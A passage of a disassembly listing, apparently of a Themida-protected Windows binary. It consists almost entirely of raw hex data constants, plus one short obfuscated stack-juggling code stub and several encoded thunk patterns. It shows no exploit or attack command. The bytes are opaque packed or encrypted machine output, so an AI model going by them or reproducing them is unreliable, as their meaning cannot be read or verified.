		dd 4B4108DAh, 91D2A476h, 8052271Dh, 19EBC6B9h, 0B3855E52h
		dd 4E20F7ECh, 0C10EF835h, 0C2802465h, 89368381h, 0EFCCBE95h
		dd 0E2D8FD20h, 8973300Dh, 8631CD3Ch, 0A3694236h, 0AE759FC2h
		dd 5810E2B9h, 12CC962h,	0F35780E7h, 693E3401h, 9B78471Eh
		dd 0A2A7F4DEh, 0C1A08631h, 528F7CAh, 0B3CAE6D0h, 0EACB8C38h
		dd 22DCBA9Fh, 2FDF7D78h, 9BEC4E71h, 708029D7h, 0B58EBF07h
		dd 2DF16972h, 0F6h, 529F8946h, 538029E3h, 46394F72h, 0E09D7A51h
		dd 31CCA9F6h, 0A6C9AA86h, 55382E03h, 31CD1E6Bh,	59361786h
		dd 31CD226Fh, 73422386h, 9C864328h, 8631CD4Fh, 0CCFA4731h
		dd 1AFB8631h, 0EE507354h, 8631D16Bh, 4719F0E5h,	0D7B48B80h
		dd 115C372Ah, 2570473Ch, 0B95C7F4Eh, 1CF96B00h,	0E8BBB25Fh
		dd 0E88F63C5h, 17068C38h, 2AB1E02Dh, 2BF8D980h,	0BD8F5E37h
		dd 2E0B1912h, 0B23A8771h, 5A3B802Ah, 74BF9A8Dh,	5B457A9Dh
		dd 86345CB9h, 0F5A27F60h, 0D1062900h, 9E6F6714h, 0B2897E53h
		dd 0A59BC0E3h, 4137FED0h, 0A2BE3F3Dh, 0B78647D4h, 0FDED2B00h
		dd 1660ED9Dh, 79Bh, 0EFC19089h,	8C5E3128h, 2AFCCDC5h, 0C2947163h
		dd 5E3005FBh, 0E1D74B8Ch, 80733A0Ch, 180CD3A5h,	0B1A66D3Fh
		dd 0B2EF08DAh, 24647BC8h, 3D3B7C80h, 9E7B5046h,	326FBF1h
		dd 461D12D9h, 5146BC74h, 0F9F09D7Ah, 0F06DB26h,	4B1AF13Ch
		dd 8CAF8C7Eh, 22604E9h,	541818Ah, 9A8FB4D7h, 2BFACFC5h
		dd 0A7BDAE59h, 0C894E0CAh, 0B4958C38h, 0E3301AD7h, 0E4802AC0h
		dd 583DE003h, 0C064B19Bh, 912D802Ah, 37BBF0F9h,	83A6874Dh
		dd 0C092695Eh, 0E22D04F9h, 7022A0D0h, 0A2020307h, 963D0EECh
		dd 0B2FDD4C9h, 0ECA6DDDBh, 0FFF4193Ch, 1560332Ah, 0B4926F3Eh
		dd 0CAD1E74Eh, 335D800Eh, 55A0776Ch, 0F7CEC370h, 1EE3301Ah
		dd 3E404F0h, 1F2E7EE0h,	342804F0h, 473B105Bh, 0BC2D236Eh
		dd 79A2B464h, 0A77E7329h, 42190ED5h, 1E91E5F7h,	37EE04F0h
		dd 7C43907Ah, 63440773h, 4313C065h, 6588B8D6h, 8B48065Eh
		dd 73C054A1h, 51745507h, 8360372Ch, 0BC07E4D6h,	0D198C2E5h
		dd 1BA05DCh, 331DFA6Ah,	0D7ADA1Fh, 7B3815F6h, 78B84491h
		dd 4164450Dh, 65FF6C17h, 0B67BAA88h, 26C5802h, 2CC0AADFh
		dd 0ED137F4Dh, 5FAFC10Ch, 3207734Ch, 775079C9h,	0EF78B2E3h
		dd 352h, 8E006027h, 2218EBE1h, 5C337E4Dh, 293B3039h, 0D6DE624Ch
		dd 47578C38h, 0C7350BD2h, 0CDAA79CDh, 2E512E20h, 0B067788Ch
		dd 6EFD0138h, 9F5C19F6h, 288F68B5h, 0A38061FFh,	288F6CB9h
		dd 698C6DFFh, 2F9D4F07h, 685F3E05h, 0A4734A95h,	998BA059h
		dd 0EB38DEBCh, 6E25E0BBh, 132C164Bh, 40B2D96h, 0A4994623h
		dd 7724FBCDh, 8A61AC81h, 764D4267h, 0F44F76BFh,	0DF29B624h
		dd 5CBh, 1FF1C0B9h, 0BC8E6158h,	5A2CFDF5h, 0F2C4A193h
		dd 8E60352Bh, 11077BBCh, 0B0A36A3Ch, 483C03D5h,	0E1D69D6Fh
		dd 0E21F380Ah, 2462ABF8h, 6D6BAC80h, 7E5BC962h,	38D14894h
		dd 1560418Ch, 29744B40h, 2BCD15E4h, 5D472400h, 8631CD11h
		dd 0A41613F1h, 114F8779h, 1DEFD0EEh, 3F8A6156h,	0C19E756Ah
		dd 24472014h, 0E63E6781h, 8F6C4338h, 1C06EFE2h,	86314ECFh
		dd 0F518E7C8h, 0E9B891CBh, 5330F770h, 68000002h, 7E5BC962h
		dd 3F32F994h, 0D3CA778Ch, 0DEBFDD00h, 9D874401h, 80246850h
		dd 2FCFAC11h, 36FC444Ah, 170D3255h, 0A8775044h,	44190FD6h
		dd 5C3614F9h, 102EB72Eh, 0EF93E0CAh, 0B3948023h, 0D01D07E4h
		dd 0C98023EFh, 1163C5E8h, 818023F0h, 0ECC3B78Ch, 0FBD21DFAh
		dd 3B0AE12Ch, 0E19ABB84h, 0AEF88597h, 4E3h, 3709D8D1h
		dd 0D4A67970h, 7244150Dh, 0ADCB9ABh, 0A6784D43h, 291F93D4h
		dd 0C8BB8254h, 60541BEDh, 0F9EEB587h, 0FA375022h, 2461C310h
		dd 8583C480h, 0BCAF5836h, 0F72F452Ah, 0C4A0CBD4h, 836D2AE7h
		dd 86313F36h, 0C92B4E2Fh, 8C3EA42Eh, 0EABF0AEBh, 854C1EF5h
		dd 996EB990h, 6882CDA4h, 4439E73Fh, 88619B6Dh, 0F1637Ch
		dd 182h, 7A514638h, 0E902E09Dh,	7FA24478h, 77F5424Ch, 0EDD78631h
		dd 863177A0h, 13F2B899h, 25FC471Eh, 0BB903356h,	25FCF1C6h
		dd 0CFAD8456h, 44C57F42h, 0C2CBEEB3h, 0DEBBA9h,	0D585F522h
		dd 33688BFDh, 38C8C549h, 0DDD5B48Ch, 0DF23D0Ch,	0C8196650h
		dd 391A802Ah, 0C763B416h, 0CF38802Ah, 5E7D5677h, 0B360F16Ah
		dd 0C0E7E5C0h, 0E14147FDh, 2730D0F3h, 68000000h, 392CC962h
		dd 0F10698DAh, 0FAE4C190h, 8C38C9DEh, 798BD6B7h, 802AC828h
		dd 1B4C94FDh, 0F16A6342h, 9FBAh, 5146F200h, 645A2F7Ah
		dd 7A6F448Fh, 50E8C6A3h, 2330B785h, 4B20C3E6h, 0A9AD7F56h
		dd 86312F26h, 6E40170Ch, 0DFBCA8C3h, 3AD1D1F5h,	1004B18Ch
		dd 0F215EC37h, 5916F3D4h, 0BDE0B7ACh, 0FBCDA298h, 0B2693E34h
		dd 0A3F88597h, 90E630BDh, 7E000003h, 1DE4B685h,	0BA815326h
		dd 581FF1C2h, 0F0B78966h, 815325FAh, 1D6CC40h, 9A75682Fh
		dd 340D01C8h, 0CFA69B62h, 0BDA7E4FDh, 80246070h, 362A2869h
		dd 0CD428F79h, 453C8631h, 8A502772h, 6B6186A9h,	9FDBB996h
		dd 5204FE05h, 7A416B8Eh, 24DCAE85h, 2F7A5146h, 0BC8E655Ah
		dd 2D0A1A11h, 38E62F43h, 69D6E68Ch, 6C2EECBBh, 3614F1C0h
		dd 0A9B3E630h, 0A2A6243Bh, 28A89209h, 81933659h, 802A9032h
		dd 0D06ABAE3h, 2ECC95Bh, 8631A8EEh, 2CE9C6A7h, 31A8F542h
		dd 0EA0DEE86h, 514608C0h, 1897B54Bh, 8FE19A86h,	0CE1B19FFh
		dd 66B18014h, 0A0969C91h, 75AE03BFh, 0A5807340h, 0E2B4835Ah
		dd 53303437h, 3847E569h, 9673548Ch, 4C4BCDB8h, 6B8E4EE0h
		dd 0E65B6C8h, 0D13A802Ah, 0A57F5871h, 8462F169h, 0ACEBDF84h
		dd 7F1F42B4h, 2Eh, 5BC962B7h, 0C0DBA07Eh, 0E3EB335Eh, 0F4CB16EFh
		dd 0E3CD0225h, 8C380BC7h, 8092DDBEh, 802A0A2Fh,	224B9B04h
		dd 0F169A549h, 0CEC1h, 5146F900h, 0A9A5264Bh, 0A6735DC5h
		dd 0B58CD7B4h, 0D0C69BE6h, 0E6DBB0FBh, 0F7421F11h, 31065120h
		dd 9A73673Ch, 0D7A9784Fh, 314250D3h, 764D4286h,	11E8DDA4h
		dd 61E0DC6h, 716F3F29h,	5E6E8C38h, 0EB16628Fh, 0EDCA99B2h
		dd 50734C40h, 0ACA24F26h, 3C170AD7h, 91B1019h, 9916F2Ch
		dd 8D4890D4h, 4F79DBFEh, 4A86340Bh, 0C4D6693Ah,	0AF7E27F0h
		dd 5C2F25D2h, 0EDBF8E69h, 0A45B3026h, 9DFE2DAFh, 0F0E22CB9h
		dd 0DE000001h, 7D4416E5h, 1AE1B386h, 0B87F5122h, 5017E9C6h
		dd 0E1B3855Ah, 61362CA0h, 0FAD5C88Fh, 946D6128h, 2F06FBC2h
		dd 1D07445Dh, 80245ED0h, 468A88C9h, 0F19E7B50h,	5D2E26FDh
		dd 496C3B12h, 8C63581Fh, 4236E3BAh, 62304669h, 0D17E5BC9h
		dd 0E5BC07DAh, 5A78DBE7h, 23461294h, 0E3E804EEh, 0CD8A8C37h
		dd 29E196E3h, 8BAE8F80h, 2F418C6Dh, 8029E1DEh, 0D1FA4AB3h
		dd 0F1697CF8h, 0BA70h, 0EADC8900h, 0C8EBC20Dh, 7A5146B2h
		dd 8F645A2Fh, 0D1AF3244h, 0B3918631h, 30F3EF6Ch, 96BBDE8Dh
		dd 31F8CAA1h, 611A653Ch, 937D5ACAh, 8C3894C3h, 0DB86B2C2h
		dd 0CF2D2105h, 83762300h, 0DC63B09Ah, 83648029h, 0BC6791B4h
		dd 2BD8B5AFh, 3A115C39h, 6FF8E217h, 0E0863387h,	0FD4A34F1h
		dd 0F6862372h, 72BE0B15h, 0D6B78623h, 0C06D2A07h, 0AFD4F7C8h
		dd 4B12E4B9h, 94C98055h, 0E89DFDD2h, 0F1115Bh, 0E6DF0000h
		dd 877E4517h, 231BE2B4h, 0C7B98052h, 5B5118EAh,	0A1E2B486h
		dd 9062372Dh, 29FBD6C9h, 0C3956E62h, 5E3007FCh,	0D11E0845h
		dd 0D280245Dh, 50469391h, 0EDE2A97Bh, 368C4416h, 0CD428F79h
		dd 62438631h, 4E251A3Fh, 62392E03h, 1A0CB990h, 0F81BF23Dh
		dd 0BE87CEFh, 3F328221h, 539E7F8Ch, 0F3CEC16Eh,	0DFB6ABD0h
		dd 9289360Dh, 0A58F74BFh, 80246758h, 7EA17051h,	0C27F6459h
		dd 24678BD8h, 0A1AB8C80h, 80246754h, 5AA57455h,	0FCD3C875h
		dd 55B7DAB1h, 0E9091359h, 135E3329h, 25704B3Eh,	0AC6CB43Dh
		dd 813F8788h, 1CE3B58Ch, 20055027h, 0FF2C7963h,	4C2D1747h
		dd 37120429h, 471E6944h, 62582D78h, 735D428Dh, 1747FF26h
		dd 7A713E1Fh, 48175CA7h, 340340F8h, 64392EECh, 734A9572h
		dd 4EFBD2A4h, 375C7F5Ch, 0D6206B42h, 3,	466767FEh, 5E337E4Dh
		dd 72479269h, 855AA57Eh, 976CB792h, 0AC81CCA1h,	0C196E1B6h
		dd 0D2A7F2CFh, 0E9BE09DAh, 88D41FF2h, 4EC81h, 0C890000h
		dd 81E18924h, 4C1h, 4E98300h, 5C240C87h, 598F68h, 24048900h
		dd 12B668h, 24348900h, 0A6685653h, 5E097B23h, 0BDA1EE81h
		dd 0F389036Dh, 5BD8895Eh, 2F268h, 24248900h, 4240481h
		dd 5E000000h, 89C38953h, 1C8B085Eh, 4C48324h, 5724348Bh
		dd 0C781E789h, 4, 8704C783h, 0FF5C243Ch, 81582434h, 4C4h
		dd 0D0B2E900h, 154FFFFAh, 5B4B546Fh, 0D707DB8h,	0FFC50306h
		dd 1D1D0AE0h, 0D7776034h, 0F29AC305h, 0CB73D11Ch, 9DA8A452h
		dd 325FFA26h, 15799E0Bh, 905C0F63h, 7A5C5A0Ah, 11535414h
		dd 0F01B47Bh, 8AB06526h, 7F2D654Fh, 2184CC17h, 34B3AE17h
		db 2Ah
byte_5A3901	db 0E8h, 0Fh, 0		; DATA XREF: Themida_:00550694o
		dd 0E85D0000h, 6D794C30h, 0E26EF24Bh, 0C9CB43B9h, 11E8C0h
		dd 33C90000h, 0CFFE2130h, 54957B00h, 288ABDB9h,	0F6A1CFDh
		dd 5F59D7BFh, 81A6C680h, 7155C7h, 33C58A00h, 0DAE7B8DBh
		dd 34FF6040h, 7E93Bh, 91370000h, 839D4F4Fh, 0C6815E27h
		dd 3662F5A3h, 0EB55657h, 0F6815A5Ah, 0E2ED89Ah,	11E9h
		dd 4D2C500h, 0B761E00Fh, 3E5B3F87h, 89B2B49Bh, 0EE81DBC1h
		dd 6338DF18h, 46D68053h, 1F34895Ah, 0FD38B66h, 0EB83C7B7h
		dd 6CF18104h, 814FA300h, 0FF8F60FBh, 9F850FFFh,	0FFFFFFFh
		dd 168Ch, 0EE800h, 6E980000h, 47977508h, 10480276h, 0A0068810h
		dd 0EB596160h, 8, 3F56E700h, 53DE920h, 16680000h, 0E9060D73h
		dd 0FFFA0B6Bh, 0D739968h, 0B61E906h, 6D68FFFAh,	0E9060D75h
		dd 0FFFA0B57h, 0A237CEFFh, 9B30CFFBh, 962BC6F4h, 9025C0EFh
		dd 861BB6E9h, 0E518D3EBh, 0E310B74Ch, 0DC0EB54Ah, 0DD0DB449h
		dd 7AE8B54Ah, 96801B8Ch, 414F6643h, 28CF6A98h, 2CD9A58Fh
		dd 3AC168F9h, 1788760Ah, 6249A3F2h, 0AB59EE8Fh,	9037D602h
		dd 62EA0DF7h, 7B24D46Ah, 7A08AF4Eh, 0A3F21B8Ch,	0F2936649h
		dd 0F1FD6E5Ch, 754849A3h, 0F80F458Bh, 0D7AA47A2h, 0E6F76430h
		dd 4124439Ch, 0CAE4F1F7h, 71F61FB5h, 5A000003h,	0E999C03Eh
		dd 0A3F28AFBh, 5DE4F449h, 89BB51C4h, 21442E01h,	1D0BA199h
		dd 47A26F73h, 0C8D45B2Eh, 0B8797892h, 67967C04h, 0ED8E27CEh
		dd 0F18F6957h, 0D7AA4435h, 4F2A230h, 402FF193h,	0E9A20BDEh
		dd 0AA156D01h, 0A830533Dh, 0E02C1AB0h, 0A73E2E16h, 65953ED4h
		dd 66963DD2h, 2CEFF9CFh, 0DC0BF313h, 3A05Bh, 50E51600h
		dd 4DE814BBh, 48E311B8h, 44DD0CB3h, 3CD508AFh, 39F40CA7h
		dd 2FD66B06h, 27CE6302h, 26CD62F5h, 0FDCA5FF6h,	7F30A18Fh
		dd 647B4396h, 8A820A92h, 0C1B371F4h, 9591593h, 0BE29171Fh
		dd 5479874h, 61931444h,	0E57E25C6h, 10FEAE44h, 4395D49Fh
		dd 252D17EAh, 23B8497Ch, 0A46FF275h, 0E7C187D7h, 98012F95h
		dd 1C06050Eh, 0A64DE81Bh, 0FC2722DAh, 0E382B2B9h, 615CF50Dh
		dd 5DDE0DFAh, 31Dh, 2EC36293h, 27BC5B87h, 22B75280h, 1CB14C7Bh
		dd 1AAF4275h, 79AC677Fh, 7FAC53E8h, 78AA51E6h, 71A148DDh
		dd 67441D6h, 967FA718h,	9DBF243h, 699C820Ah, 801B49D8h
		dd 6EA049DFh, 0F3E1E9D3h, 47992088h, 0C755FCCFh, 6B55F01Eh
		dd 9680B825h, 37CAFC43h, 0A3140290h, 0EE439680h, 0C65F8C1Bh
		dd 99A7781Fh, 0A14F79Dh, 0BC2E11C4h, 0E20EB71Fh, 19039C43h
		dd 20F25h, 0FC2C8900h, 0C0006DA1h, 0A37961D2h, 70D9AC49h
		dd 21C25D92h, 2FC3F37Ah, 0A3CED041h, 4FE21449h,	0BE53F4C7h
		dd 0DF756DF5h, 8F7D0336h, 49A3CE1Eh, 0BF59669h,	0E46B1503h
		dd 532647A2h, 449B1EACh, 76E7D5E0h, 0C1439CCDh,	0C39F85EEh
		dd 0DA478D77h, 7439CB5h, 68D9C777h, 0B3439CB5h,	8D9BF6E0h
		dd 0B5F98A4Bh, 4C501Fh,	0CF780000h, 162099Ch, 0A229A421h
		dd 0E1CB6CFFh, 9C820A15h, 503ED46Dh, 49A3F2DFh,	20B6572Ah
		dd 5AC4B77h, 16B74E7Eh,	0F174242Ch, 0D34CB46Ah,	0B513BA9h
		dd 47A22689h, 6E3AE1B4h, 439C0601h, 0FBFD4B2Eh,	1FB6ABDAh
		dd 0F800h, 0FC2C6400h, 0FA2AD369h, 66D7C55Bh, 0B149A3F2h
		dd 54DBF4DEh, 0FDEB9B21h, 49A3F28Ch, 0BF3004D7h, 0A49A3F2h
		dd 42B3A137h, 8D49A3F2h, 0EB7219BAh, 0EE751CBBh, 0E19127BEh
		dd 0A3F282F3h, 10FACD49h, 0EE861D09h, 0E61649A3h, 9236B94Fh
		dd 0D330F697h, 49F7FEE8h, 0E9D36EA0h, 25583EC6h, 0D255EB8Ch
		dd 72D64272h, 0ACB49ECFh, 9C2234BEh, 82AE6F47h,	0FCAC42E3h
		dd 20892453h, 2B9449B4h, 0F8F9E351h, 0E9972CC5h, 0D6B11440h
		dd 0A33E4054h, 851EC566h, 729001EFh, 8DB439Ah, 57EA1D1Eh
		dd 66A01381h, 0B73867FAh, 149h,	62F78EBFh, 5BF08FBBh, 56EB86B4h
		dd 50E580AFh, 46DB76A9h, 0A5D893ABh, 0A3D0770Ch, 9CCE750Ah
		dd 9DCD7409h, 3AA8750Ah, 967DDB4Ch, 3D0F2643h, 4CA0F92Ch
		dd 41590CCAh, 0DD8B20C1h, 0B7CE3F2Dh, 461949A3h, 0EDEE6DDDh
		dd 8F790DD1h, 32C75E8Eh, 69FC2CC0h, 6C0B3BC2h, 0C73826D6h
		dd 1249A3F2h, 86B12077h, 9AAE46Eh, 0C74F181Fh, 629039CFh
		dd 9D8720C7h, 1DD3A795h, 33DC47A3h, 2AC36A05h, 0DD734640h
		dd 8D7B0134h, 439C8D1Ch, 5DF39467h, 4C9EF6DAh, 0C01A831Eh
		dd 7F867003h, 9C812693h, 9B3A6A43h, 0AB2C5F06h,	0A13AE17Ch
		dd 96D85900h, 4E000000h, 0A795820Ah, 49A3F236h,	770DAE81h
		dd 99201A89h, 0AB996147h, 4396803Ah, 36AA16A4h,	66EE63C2h
		dd 0C44BF293h, 0C56C0194h, 8F5B0295h, 61C7F6ACh, 0CE4CADDCh
		dd 7BDC2EC8h, 35BC6304h, 64C56C07h, 0C3B7B317h,	6B3CEB77h
		dd 29561DDh, 46DA0A34h,	6410E758h, 0E57C511Dh, 0FB1C93DEh
		dd 6AFFA073h, 11FF93C3h, 1D648CA0h, 0E17718EBh,	0F8C6585Eh
		dd 0A38DEBE5h, 39D4038Ah, 0AE312792h, 0DB3450D4h, 0CE2913FFh
		dd 0FA6D640h, 4A3D37Ah,	3DC5Dh,	5E520000h, 6AFB2C7Ch, 790C3CC3h
		dd 7E194BD2h, 8A2350D7h, 98295CE3h, 9E376AF1h, 0A84170F7h
		dd 0B14C7A01h, 0B857830Ah, 55686711h, 89000034h, 8953241Ch
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 2404895Ch, 8904EC83h
		dd 0B951240Ch, 60D722Dh, 0C8BC889h, 4C48324h, 240C8B54h
		dd 5304C483h, 5989C389h, 241C8B08h, 8B04C483h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_544543
; ---------------------------------------------------------------------------
		dd 0AF51FEEBh, 0B8DAFAA8h, 60D76DBh, 0E0FFC503h, 24361FE7h
		dd 5250E866h, 20FD2388h, 65E85D8Ch, 1BA50558h, 72821150h
		dd 6E8h, 0ACE29300h, 66CD1C2Eh,	26FEF381h, 0BF0F605Fh
		dd 6173B7CFh, 5B4AC781h, 0FE90000h, 0AF000000h,	0E14FE3BBh
		dd 0B6989116h, 19229C34h, 2BBA060Dh, 810D4BBEh,	4BA785EAh
		dd 0CE80Dh, 0A8F0000h, 193DA073h, 0FCB51C76h, 0F381F288h
		dd 650A7390h, 0BB37FF5Bh, 366E247Ch, 0F1816658h, 0F0819CDCh
		dd 2ECDA688h, 12E3BE66h, 6D7F081h, 0BF0F1775h, 9E881D8h
		dd 661BA157h, 50451AB9h, 78FDA8Bh, 0F03EF83h, 80h, 0CB814F00h
		dd 351EB8B4h, 0F01EA83h, 0E85h,	19E900h, 7A0A0000h, 0D195A6D5h
		dd 6661A9A6h, 20B4D181h, 0FFFFA0E9h, 37E7ACFFh,	8DE994ECh
		dd 0D78F68Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 1F4E0D51h, 0ED858994h, 8906071Fh
		dd 71AD98Dh, 65BD0306h,	8B060708h, 72FE595h, 1D85C706h
		dd 0C0060710h, 8900005Eh, 719519Dh, 585C706h, 60733h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 3F7C355h,	72049B5h, 0E9B5FF06h, 6A06070Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0B845C357h, 34433346h, 185995FFh,	8C0F0607h
		dd 1Ah,	0EE8h, 34986F00h, 807FD7CEh, 1A8F279Ah,	8B95DB3Dh
		dd 713C9BDh, 6A5A06h, 0D6995FFh, 0C08B0607h, 0C8F45EEBh
		dd 4DA818F5h, 4313CEB8h, 2391E3A5h, 0DF005316h,	0AF57CC1Ch
		dd 0FD7FAA9Eh, 373079D9h, 0BF3F0B3Fh, 0DF698791h, 912E5BCFh
		dd 3A4B9540h, 0CA37D555h, 0C2241F1h, 3F1F9F28h,	3E3CBD63h
		dd 21D4DB76h, 0F1A6E9FAh, 0CF781E5h, 0E325256Fh, 0A10C7111h
		dd 0C293F10Ch, 0E419EB38h, 765565h, 7A708D8Dh, 6A060Dh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 5C8031C3h, 0ABA0D127h, 6646DA38h, 899482BFh,	71AD98Dh
		dd 118D8906h, 0C706070Ah, 7101D85h, 5FF806h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0CC864EE2h, 0D5941881h, 6FF1C081h, 85C70A4Ch, 6073305h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 9FC35141h
		dd 800F93C5h, 5, 297A4DBEh, 0D3B70F27h,	2639B5FFh, 6A0607h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 8A0170C3h, 8DBE2264h, 0E96A837Eh, 8,	573F333Eh, 164E72A8h
		dd 185995FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 635D0C3h, 0C5C6800Bh, 0D3DBD8Bh
		dd 0F3810607h, 483D895Ch, 95FF006Ah
		db 69h,	0Dh, 7
byte_5A422F	db 6			; DATA XREF: Themida_:0053D1D0o
		dd 4CEBC08Bh, 464BB1CFh, 3B25EDD8h, 0BCE2070h, 0F1F7CC3Ch
		dd 0BC60FDE4h, 5DA888A2h, 8266115Eh, 0DC4D84A6h, 2700CBECh
		dd 0EA757DF5h, 0A5F925FBh, 78B7871h, 168A4BC5h,	6055D774h
		dd 0C68A9BA4h, 1F2133E8h, 39654041h, 341B3413h,	0FF75E063h
		dd 0BE8h, 0BDBA0500h, 14102CCDh, 0FA269E53h, 0E6D9D8Bh
		dd 335E0607h, 71E298Dh,	47C68106h, 60000059h, 0D3DB531h
		dd 0E6810607h, 4981FEFEh, 2E66BA61h, 0F28130D9h, 30D93853h
		dd 0F53E8BF5h, 289CF781h, 8D8B56AFh, 60722EDh, 6CE1F781h
		dd 81F968C4h, 28D9E5C7h, 0F9BD8934h, 57060700h,	3F99D89h
		dd 68F0607h, 1211858Bh,	0EE830607h, 4AFC8A04h, 0FFC3850Fh
		dd 0C0B0FFFFh, 5E8h, 2C95A300h,	8166A538h, 5F1E92C0h, 1A619589h
		dd 0C7810607h, 65B4h, 0E5EAB866h, 0CA374AB9h, 6F18133h
		dd 133CA2Eh, 71F5585h, 8B37FF06h, 71B4D95h, 81F95B06h
		dd 8B34E3C3h, 0CCC38154h, 2B2684CEh, 714CDB5h, 4CC38106h
		dd 531A2651h, 1091858Bh, 535A0607h, 0A71860BAh,	81078F11h
		dd 0CC12CEF2h, 1EF8308h, 4FD0B70Fh, 9D314F4Fh, 60719A5h
		dd 0F01E983h, 0FFFFB085h, 6800FFFh, 89000000h, 707BD8Dh
		dd 6C8D8D06h, 8B060D7Ch, 71F75B5h, 0D98D8906h, 6A06071Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0EFBAC357h, 2D001110h, 0CA3EA813h, 87F08166h
		dd 1D85C793h, 0DC060710h, 6A000068h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0F1B1C356h
		dd 0E0DF749Eh, 0BF0F7011h, 0D08166C6h, 85C73948h, 6073305h
		dd 0
		dd 0C91B52Bh, 0B5FF0607h, 60712B5h, 2A219D89h, 95FF0607h
		dd 6071859h, 0F59D8957h, 5E06071Fh, 95FF006Ah, 6070D69h
		dd 68EBC08Bh, 0CAEC4D14h, 0CAE7C998h, 0D565C01h, 0F30B638Dh
		dd 0EE8929A1h, 247F1B1Dh, 0AA0F6E69h, 112F4736h, 2D6759A5h
		dd 608AE520h, 0DA15E043h, 3174E8B1h, 0CBF4431h,	0D930FB37h
		dd 3F71E2F6h, 0A3EBEA85h, 0D94B22E6h, 0B819074Fh, 39309B7Ah
		dd 61247730h, 76777293h, 5B0BEBF2h, 2F49B3BAh, 160F0AA3h
		dd 401AE8A7h, 4530B784h, 7D8C8D8Dh, 6A060Dh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 19D2F8C3h
		dd 81DE8B66h, 0C4FA45DBh, 0D98D892Eh, 0C706071Ah, 7101D85h
		dd 5A2C06h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 8F0FB66Ch, 6, 1F85B529h, 8D010607h
		dd 6072975h, 330585C7h,	607h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0FFFC0EC3h
		dd 71531B5h, 0B2BF5706h, 5A4F3084h, 185995FFh, 950B0607h
		dd 6072649h, 95FF006Ah,	6070D69h, 9EBC08Bh, 1FFC527Bh
		dd 59C7B2B2h, 798D8DD1h, 6A060D7Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 465CC353h
		dd 0C45A02Bh, 9E8818D5h, 28ED9523h, 8D890607h, 6071AD9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C6C35040h
		dd 0C79FF97Fh, 7101D85h, 66C806h, 0FBBF0F00h, 330585C7h
		dd 607h, 12E90000h, 3C000000h, 2BCFAFCEh, 2E09A5Bh, 589C2A82h
		dd 797BA4C0h, 0C5B5FF72h, 0F060707h, 95FFF0BFh,	6071859h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2CC35141h
		dd 9A26F93h, 36856307h,	0FE8h, 0FA84A500h, 0BD3D1C7Eh
		dd 0CA4FE666h, 32DA3CF9h, 4830Fh, 0BA660000h, 8B5F956Fh
		dd 0FF006AD8h, 70D6995h, 0EBC08B06h, 6719EC2Ah,	6C04B96Dh
		dd 0F1FE8B61h, 0AC15BA2Dh, 453A5B8Bh, 0E17DC95Eh, 12DCABF4h
		dd 4BCE605Fh, 0C8600925h, 8A2A2811h, 0E82926DFh, 0Eh, 5909A6Bh
		dd 0B1D6BBD4h, 950667ACh, 800F51B1h, 0
		dd 0F38B6659h, 753DC181h, 0F5BE0000h, 0B824D348h, 0
		dd 148BD98Bh, 499D8B01h, 81060710h, 5A5B2EEAh, 6850F70h
		dd 89000000h, 71B2D8Dh,	74F28106h, 892E4D77h, 713C18Dh
		dd 0AFF28106h, 0F5A12BAh, 8952F9B7h, 72B658Dh, 1048F06h
		dd 5810Fh, 2EBB0000h, 815796BAh, 0CB0FF9E6h, 3E88314h
		dd 6648F78Bh, 810735BFh, 0FF8B54F8h, 9F850FFFh,	60FFFFFFh
		dd 1EF9858Bh, 0ECB10607h, 2C8D8D61h, 0E9060D80h, 0Bh, 4486962Eh
		dd 55199A0Ah, 89DB60B2h, 71AD98Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 9ABAF2Ah, 917488BEh
		dd 5E50F5EEh, 101D85C7h, 6FD00607h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 74BA82C3h
		dd 2F7B02DBh, 0D18B3145h, 330585C7h, 607h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 6A6CD7C3h, 65DE6B3Dh, 660910F7h, 0B5FFD18Bh,	6070BE9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 73C35242h
		dd 128B25FDh, 67CDE644h, 665BB701h, 0DB1ACF81h,	185995FFh
		dd 858B0607h, 60712C1h,	95FF006Ah
		db 69h,	0Dh, 7
byte_5A47EB	db 6			; DATA XREF: Themida_:0053F4C4o
		dd 5EEBC08Bh, 0B3F3730h, 8791BF3Fh, 5BCFDF69h, 9540912Eh
		dd 0D5553A4Bh, 41F1CA37h, 9F280C22h, 0BD633F1Fh, 0DB763E3Ch
		dd 0E9FA21D4h, 81E5F1A6h, 256F0CF7h, 7111E325h,	0F10CA10Ch
